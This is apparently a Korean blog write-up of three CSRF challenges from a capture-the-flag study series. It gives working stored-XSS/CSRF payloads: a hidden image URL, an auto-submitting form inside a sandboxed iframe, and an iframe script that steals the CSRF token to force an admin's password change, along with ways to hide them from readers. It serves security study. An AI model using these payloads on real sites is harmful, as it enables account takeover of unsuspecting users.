Segfault CTF - 12주차

`GET Admin 1` -> `GET Admin 2` -> `GET Admin 3` 순으로 푼다. 이번 문제는 CSRF 공격을 이용하게 된다.
`[아이디]`라는 ID로 계정을 생성하면 해당 ID와 함께 `[아이디]_admin`이라는 ID로 관리자 계정이 생겨난다. 이번 문제에서부터는 mypage.php 페이지에서 회원정보(정확히는 비밀번호만) 수정이 가능해졌다.
1. GET Admin 1


이전까지 풀었던 문제와 똑같이 생긴 웹사이트다.


달라진 점이라고 한다면 회원정보 수정이 가능해졌다는 것이다. 원래 `nciwo`였던 비밀번호를 `asdf`로 바꿔보았다.

앞으로 로그인을 할 때 비밀번호에는 `nciwo`가 아닌 `asdf`로 해야한다.
mypage.php

mypage.php의 페이지 소스 코드를 확인해보면, 제출(<form> 태그)이 mypage_update.php라는 페이지로 향한다는 것을 알 수 있다. 실제로 회원정보 수정이 이루어지는 곳은 mypage_update.php라는 파일이라는 뜻을 의미한다.

실제로 mypage_update.php로 전송 및 응답된 패킷을 확인해보면 위와 같다. POST 요청을 날려, body에 적힌 정보들을 통해 회원정보를 수정한다.

하지만 POST 방식이 아닌 GET 요청을 했을 때 또한 회원정보가 정상적으로 수정되는 것을 확인할 수 있다.
그렇다면 굳이 POST 방식이 아닌 GET 방식, 즉, URL을 생성해 CSRF 공격을 할 수 있는 것이다.
`~~/csrf_1/mypage_update.php?id=&info=&pw=1234`라는 URL을 클릭하면 클릭한 사용자의 비밀번호가 `1234`로 바뀌게 된다.
하지만 URL이 너무너무 수상하게 생겼다. 설령 URL을 다른 URL로 위장한다고 해도(예를 들어 URL 단축 서비스 사용), 해당 링크를 클릭한 사용자는 다음의 화면을 마주하게 될 것이다.

링크를 클릭했더니 "회원 정보 수정에 성공하셨습니다!"라는 문구가 출력된다. 누가 봐도 수상하다. 사용자는 이 사실에 대해 즉시 운영자에게 알리거나, 여전히 회원정보 수정이 가능한 상태라면 원래의 비밀번호로 되돌려놓을 것이다.
사용자가 자신도 모르는 새에 해당 링크에 접속하게 해야만 한다.
XSS
위와 같은 경우로 인해, CSRF는 보통 XSS와 같이 쓰이곤 한다. 단순히 <img> 태그의 `src` 속성 값을 변조된 mypage_update.php URL로 지정해두면, 클라이언트는 이미지를 불러오기 위해 해당 링크를 타고 들어갈 것이다. 사용자도 모르는 새에 회원정보가 수정되게 된다. 만약 XSS의 취약점이 Stored XSS에 해당한다면, 피해자는 글을 읽기만 해도 비밀번호가 털리는 것이다.
XSS Point
XSS와 함께 CSRF를 하고 싶다면 당연히 XSS 취약점 또한 찾아야 한다.

이번에도 notice_read.php 페이지에서 XSS 취약점을 찾았다. <img> 태그를 이용해서 mypage_update.php에 접속하도록 Stored XSS를 시도해보겠다.


글에 들어가보니 깨진 이미지 아이콘이 보인다. 로그아웃한 뒤, 원래 ID, PW인 `nciwol`, `nciwo`로 로그인해보겠다.


로그인이 되지 않는다. 비밀번호를 `nciwo`가 아닌 `1234`로 하여 다시 로그인해보겠다.


비밀번호를 1234로 바꾼 적이 없는데도 겨우 글 하나 읽었다고 내 비밀번호가 강제로 변경됐다.
이로써 CSRF + XSS 공격이 먹힌다는 것을 확인했다. 하지만 걸리는 것이 하나 있다.
정상적인 글인척 하기

저 깨진 이미지 아이콘이 거슬린다. 누군가 어떤 이미지를 사용하려했던건지 궁금해서 HTML 소스 코드를 확인할 수도 있다.

`src`의 값을 확인해보니 mypage_update.php? 수상하다.
애시당초 깨진 이미지 아이콘이 나오지 않도록 한다면 글을 읽는 사람이 HTML 소스코드를 확인할 일도 없을 것이다.
따라서 <img> 태그속성이 안 보이도록 `style` 속성을 수정해준다면 더욱 완벽할 것이다.

`style`의 속성을 이용해 `display`의 값을 `none`으로 준다면 더이상 보이지 않을 것이다.

깨진 이미지 아이콘이 보이지 않는다. 완성됐으니 관리자봇에게 해당 포스트의 URL을 넘겨보겠다.

이제 `nciwol_admin`이라는 ID와, `1234`라는 비밀번호를 가지고 로그인해보겠다.

2. GET Admin 2

1번 문제와 별로 다른 설명이 붙어있지는 않다.

1번 문제와 유일하게 다른 점은 mypage_update.php에서 GET 요청을 받지 않는다는 것이다. GET 요청을 받지 않는다면 원래대로 POST 요청을 하는 수밖에 없다. POST 요청만으로 수행이 되는 경우에는 CSRF 단독으로 사용할 수 없다. XSS가 강제된다.
const form = document.querySelector('form');
form.submit();
위의 javascript 코드를 이용하면 <form> 태그를 바로 제출할 수 있다. XSS를 같이 사용한다면 다음의 HTML 코드를 이용해 CSRF 공격을 할 수 있다.
<form action="mypage_update.php" method="POST" id="myForm">
<input name="id" />
<input name="info" />
<input name="pw" value="1234" />
</form>
<script>
const myForm = document.getElementById('myForm');
myForm.submit();
</script>

실제로 해당 태그들을 담은 글을 작성하면 다음과 같이 글을 읽었을 때 회원정보가 수정된다.

`확인` 버튼을 누르면 로그아웃되고, index.php 페이지로 돌아간다. 사용자에게 들키지 않기 위해서는 이렇게 알림창이 뜨고, index.php 페이지로 돌아가면 안된다.

mypage_update.php에서의 응답 패킷을 자세히 살펴보면 스크립트를 통해 사용자를 index.php로 돌려보내는 것이다. 즉, 이 스크립트만 실행이 되지 않는다면, 추가적으로 바로 위에 있는 alert() 코드까지 실행되지 않는다면 사용자는 눈치채지 못할 것이다.
<iframe> 태그에서 `sandbox` 속성을 이용하면 스크립트 등을 차단할 수 있다.
<iframe name="myFrame" sandbox></iframe>
<form action="mypage_update.php" method="POST" target="myFrame" id="myForm">
<input name="id" />
<input name="info" />
<input name="pw" value="5678" />
</form>
<script>
document.getElementById('myForm').submit();
</script>
변화를 보기 위해 `pw`의 값을 `1234`가 아닌 `5678`로 바꿨다.
위의 내용을 작성한 글에 들어가보면 다음과 같은 글이 보인다.

login.php에 들어가 ID: `nciwo`, PW: `1234`로 로그인을 시도해보겠다.


처음 변경했던 `1234`라는 비밀번호를 입력하니 로그인에 실패했다.
그렇다면 이번에 새로 시도한 `5678`이라는 비밀번호로 다시 시도해보겠다.


`5678`로 시도하니 로그인이 됐다. 즉, 아까 작성한 글에 의해 비밀번호가 `5678`로 바뀌었다는 것이다.

하지만 이런 글을 보면 좀 수상할 수 있다. 전부 `display`를 `none`으로 하여 안 보이도록 하겠다.


아무 내용도 없는 글이 완성됐다. 원한다면 글을 작성해서 더욱 자연스럽게 보일 수 있다.
완성된 이 페이지를 관리자 봇에게 넘겨준뒤, `nciwo_admin`이라는 ID와 `5678`이라는 비밀번호를 입력해 로그인 하면 다음과 같이 Flag을 얻어낼 수 있다.

3. GET Admin 3

마지막 3번째 문제도 설명은 변한 것이 없다. 이번 문제 또한 겉보기에는 딱히 변한 것이 없어보이지만, mypage.php 페이지에서 회원정보를 수정해 mypage_update.php로 요청을 보내면 다음과 같은 패킷을 확인할 수 있다.

전달되는 것이 `id`, `info`, `pw` 이외에 하나가 더 있다. `csrf_token`이라는 것인데, 랜덤한 것처럼 보이는 문자열이 값으로 담겨있다. 만약 해당 토큰을 이용해 사용자를 인증하는 것이라면, 분명 어딘가에서 해당 값을 서버로부터 받았을 것이다.

멀지 않은 곳에서 해당 토큰 값을 찾아낼 수 있었다. mypage.php 페이지를 받아올 때 애초에 숨겨진 <input> 태그의 value로 들어가있었다. 이런 토큰을 사용하면 POST 요청만을 받았을 때처럼 CSRF 단독으로 하는 공격이 불가능해진다. 하지만 여전히 XSS와 함께 하는 CSRF에는 취약하다.
보아하니 사용자가 mypage.php에 접속할 때마다 새로운 인증 토큰을 발행하는 것 같은데, <iframe> 태그를 이용해서 mypage.php에 접속해 해당 토큰을 가져오면 그만이다.
<iframe src="mypage.php" id="tokenFrame" onload="
const tokenFrame = document.getElementById('tokenFrame');
const newDoc = tokenFrame.contentDocument;
const csrf_token = newDoc.getElementsByName('csrf_token')[0].value;
console.log(csrf_token);
"></iframe>
위의 내용을 담은 글을 작성하면 글을 읽는 순간 콘솔 창에 어떠한 문자열이 출력될 것이다. 그리고 그 문자열이 바로 csrf_token이 될 것이다.

csrf_token의 값을 가져왔다. 이 다음부터는 2번 문제를 풀듯이 풀면 된다.
<iframe name="targetFrame" sandbox></iframe>
<form action="mypage_update.php" method="POST" id="myForm" target="targetFrame">
<input name="id" />
<input name="info" />
<input name="pw" value="5678" />
<input name="csrf_token" id="myToken"/>
</form>
<iframe id="tokenFrame" src="mypage.php" onload="
const myForm = document.getElementById('myForm');
const myToken = document.getElementById('myToken');
const tokenFrame = document.getElementById('tokenFrame');
const newDoc = tokenFrame.contentDocument;
const csrf_token = newDoc.getElementsByName('csrf_token')[0].value;
myToken.value = csrf_token;
myForm.submit();
"></iframe>

글을 읽어보면 수상해보이는 <input>이 좀 보이긴 한다.. 일단 로그아웃하고 비밀번호가 정상적으로 `5678`로 변경됐는지 확인해보겠다.


원래 비밀번호인 `1234`로 로그인을 시도했을 때는 로그인이 되지 않는다.


`5678`이란 비밀번호를 사용하니 로그인이 됐다. CSRF + XSS 공격이 제대로 들어가고 있다는 것이다.
하지만 아직 끝난게 아니다.

많이많이 수상해보인다. 태그들을 전부 숨기겠다.

대충 이렇게 꾸미면 의심하지는 않을 것이다.
바로 관리자 봇에게 악성 스크립트가 담긴 글의 URL을 넘겨주고 ID: `nciwo_admin`, PW: `5678`로 로그인해보겠다.

'Study > with normaltic' 카테고리의 다른 글
| Segfault CTF - 11주차 (0) | 2025.06.25 |
|---|---|
| XSS - Cross Site Scripting (0) | 2025.06.22 |
| SegFault CTF - 7주차 (1) | 2025.05.28 |
| Blind SQL Injection (0) | 2025.05.25 |
| Error-based SQL Injection (0) | 2025.05.25 |










































































































































































































































































